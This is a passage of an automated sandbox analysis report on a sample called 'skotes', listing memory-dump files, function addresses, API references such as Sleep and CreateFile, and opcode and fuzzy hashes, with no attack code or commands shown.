Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1379abb03c840b8287643646b922ab605a6cebe6ef97f0784282071dda058686
Instruction ID: 9364537558c265dff0fbf1b3424dafad8118dca72b183bb281afed130f20a22c
Opcode Fuzzy Hash: 1379abb03c840b8287643646b922ab605a6cebe6ef97f0784282071dda058686
Instruction Fuzzy Hash: 97D0923204010DBBDF129E84DD02EDE3BAAFB48714F018100FE1866020C732E831AB94

Function 001D6C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 001D6CF5

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 68ed00c8d93a4128f31709679dad73f8d51863860054635b72b36316c3af2d9b
Instruction ID: e2c02c4a4b7045cd223a060eef0d6d84e78f931ecf8f091f4696a28691b16787
Opcode Fuzzy Hash: 68ed00c8d93a4128f31709679dad73f8d51863860054635b72b36316c3af2d9b
Instruction Fuzzy Hash: FCF0F471A10624FBC711BBA8AC07B1E7B78EB27B60FC00349E821673D5EB316A1447D2

Function 04A20C5D Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f6bd8c2e837066858b945d0a7c79be8deecf484e2b24564176d5c1d0b644344
Instruction ID: 05406e1488fdbb47267c2e7bf49ebe62568ea7cc326cc60df6cf0aa10d468385
Opcode Fuzzy Hash: 4f6bd8c2e837066858b945d0a7c79be8deecf484e2b24564176d5c1d0b644344
Instruction Fuzzy Hash: FF21A6FB20E175BDB60291952F14EFB6B3DD4C2730330C86BF942C9002E2956A8E7172

Function 04A20C8A Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b5136f20342a53db6fc4f4fdc250958abe0af497bad983701456dfc8e4bc454
Instruction ID: 21912b308d5463127f15641d8ef8bdf8d1c90766b948e065e2d9692c46ed1fec
Opcode Fuzzy Hash: 3b5136f20342a53db6fc4f4fdc250958abe0af497bad983701456dfc8e4bc454
Instruction Fuzzy Hash: A02129FB24E135BD7542918A6B14AFB6B3DE0C5730331C82BFA07C5416E2986E8E7136

Function 04A20C2C Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 985947db0651b380c0c419826603c2d788a8f36fa5b064ecbaa66649ed1d0205
Instruction ID: cdb0b65cc3893c7a2e221ed29c96ead48c4bc0c7ecea609cd66c2949aa014f2a
Opcode Fuzzy Hash: 985947db0651b380c0c419826603c2d788a8f36fa5b064ecbaa66649ed1d0205
Instruction Fuzzy Hash: 6221F9FB20E135BD7142918A2B24AFB673DE0C5730331C82BFA07C5512E2986E9A7132

Function 04A20C3B Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fc7852394bb3ef443091fbd5cb64b137a00fb9d389274ed09d6d78b90018db2
Instruction ID: cb5a5fc774c3fe4dd9b14c83ddcab905b00639a5c1fb4ccd1c09f3b689dbb046
Opcode Fuzzy Hash: 2fc7852394bb3ef443091fbd5cb64b137a00fb9d389274ed09d6d78b90018db2
Instruction Fuzzy Hash: 932117FB20E135BDB142819A2B14AFB673DE1C5730331C82BFA07C5502E2896A8A7172

Function 04A20C50 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e17f78d1221c4155877e5213caaa557a98dadec40b297102b4090ebbaac0336f
Instruction ID: fb96ed87ad4f95028692c7bba40f249798855eb4acb21f704bb93202f2c5602c
Opcode Fuzzy Hash: e17f78d1221c4155877e5213caaa557a98dadec40b297102b4090ebbaac0336f
Instruction Fuzzy Hash: 9111D7FB20E135BD7142915A2B14EFB673DE0C5B30331C82BFA47C5515E2986E9A7172

Function 04A20BBD Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f8125d054502f9d7b4fc55cb88e80b9432de25f8e2709fdb6f631e831ab535a
Instruction ID: 63a3a9fdc9409c7f9a181aed09cf0448c4f436070095cd6da8bff1430cab98b0
Opcode Fuzzy Hash: 1f8125d054502f9d7b4fc55cb88e80b9432de25f8e2709fdb6f631e831ab535a
Instruction Fuzzy Hash: 7D216DFB60E175BDB20281957F54AFB673DD4C6730330C86BFA42C5002E2892A8A7132

Function 04A20C76 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd6fc24b353e3d00a29bd232fdc39c7cbf32dbab48d8b4d4115613a3107e9155
Instruction ID: 03246faf638c4bfa9e0adbd010b3f411d86ce26934cd5a6fe9f37a93f4f8ab70
Opcode Fuzzy Hash: fd6fc24b353e3d00a29bd232fdc39c7cbf32dbab48d8b4d4115613a3107e9155
Instruction Fuzzy Hash: CB11B3FB25E135BD710291962B14EFB677DE0C5B30331C82BFA46C5406E2996A8E7136

Function 04A20CA7 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73d9d36a5af7a217868716187bb6795cbda805834d8c373940e199ff4a14b21a
Instruction ID: e84cb2b47f849f3d5f41af91e3763854d6a375175eace5e936ba8ffa9d6ad3b2
Opcode Fuzzy Hash: 73d9d36a5af7a217868716187bb6795cbda805834d8c373940e199ff4a14b21a
Instruction Fuzzy Hash: C31118FB20E134BD710291963B14EFB677CE0C2730335C82BFA06C5402E2896A8E7132

Function 04A20CDF Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cc9c4708d38649642a9abe227ca7d30b8a2b93c81efb4e289e4ab26ef558441
Instruction ID: ea53cfe1e3a2af4475e7a8cec77fe0303b9c3f54a7c200d8aa11ef63a7ff3645
Opcode Fuzzy Hash: 8cc9c4708d38649642a9abe227ca7d30b8a2b93c81efb4e289e4ab26ef558441
Instruction Fuzzy Hash: 5E01E9FB24E131BD7141915A3B24AFA677CD1D5730331C827FA06C6405E2886A9E7176

Function 04A20CFA Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a3b9e58d86f9971c2993d27d22cebb72e6ce6077790d31965e574f9ba2b1882
Instruction ID: 003696b79a22ca5d192a3862eac6d76cadda7298091042b0f88ec23a1aa76d81
Opcode Fuzzy Hash: 4a3b9e58d86f9971c2993d27d22cebb72e6ce6077790d31965e574f9ba2b1882
Instruction Fuzzy Hash: F6F01DFB25E135BE714291963B24AFA677CD0C6730371C92BFA47C5402E2886B9E7532

Function 04A20D08 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c60d81239b51d12af95342b0b884b4b2ebed87d37d1e0cbabfe9e4e646bf42d
Instruction ID: 3d84d591105b42dcaa77dacd4a0cad3f43c723650a4588689f7ca63c36e456d3
Opcode Fuzzy Hash: 0c60d81239b51d12af95342b0b884b4b2ebed87d37d1e0cbabfe9e4e646bf42d
Instruction Fuzzy Hash: 13F062FB21E130BDB04291563B14EFA673CD0C1730335C927F543C5402E2896A9E7531

Function 04A20D29 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0769733d10abcce132faf660247aec708ac1c3c65ddb981f46734f40b0761439
Instruction ID: ae2e6f098e3c66a1dda0b6033bb1ee0a1c7caf76d6fccaf482a135755d220d7b
Opcode Fuzzy Hash: 0769733d10abcce132faf660247aec708ac1c3c65ddb981f46734f40b0761439
Instruction Fuzzy Hash: 3BF030FB24E1347D705191953B54AFBA73DE0C2730331C42BF947C1402E2886A8E7132

Function 04A20D41 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebceb2e6e1b90d85713771ea2e95ffa6253db522acae87d7468246d4c52b01f8
Instruction ID: 12e64359c47b0ab6beb8b0b48008726b9a309b3710035eeeca123fedd5a6df68
Opcode Fuzzy Hash: ebceb2e6e1b90d85713771ea2e95ffa6253db522acae87d7468246d4c52b01f8
Instruction Fuzzy Hash: B5F06DFB24E2347D714291992B14AFA972DD0C6770331C427F902C6406E2881A8E3071

Function 04A20D56 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2939252601.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59eb9f6863edda3d4ba26c4eef9288193086e88a8333e331b5482653861d2728
Instruction ID: e76f5310bb662d0ceaef97802e2114f8fd3963afa0d785f1230f7d3bfdafa91e
Opcode Fuzzy Hash: 59eb9f6863edda3d4ba26c4eef9288193086e88a8333e331b5482653861d2728
Instruction Fuzzy Hash: 8EF082FB24E1207EB14281967F14EFAA73CE0C2730331C46BF542C2406E6981B9E7132

Non-executed Functions

Function 001E0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001E0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001E0F62

Part of subcall function 001E265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 001E2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 001E0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001E0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001E103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001E106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 001E10C1

Strings

(, xrefs: 001E0F22

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: a444b27aeabd58695e5c4c749f7a51492215599649e40cc8f52f26f7726a2ddf
Instruction ID: 46259fe7e604b234baf23b42869bcf2b72c6092f2da43037a6b6586d8868430d
Opcode Fuzzy Hash: a444b27aeabd58695e5c4c749f7a51492215599649e40cc8f52f26f7726a2ddf
Instruction Fuzzy Hash: E1B18DB0A00A55EFCB29CF6AD990B7EB7B4FF48304F14816DE905AB245D370AD91CB90

Function 001E1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001E2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 001E2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 001E1614

Part of subcall function 001E2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 001E2E39
Part of subcall function 001E2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 001E2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 001E1746
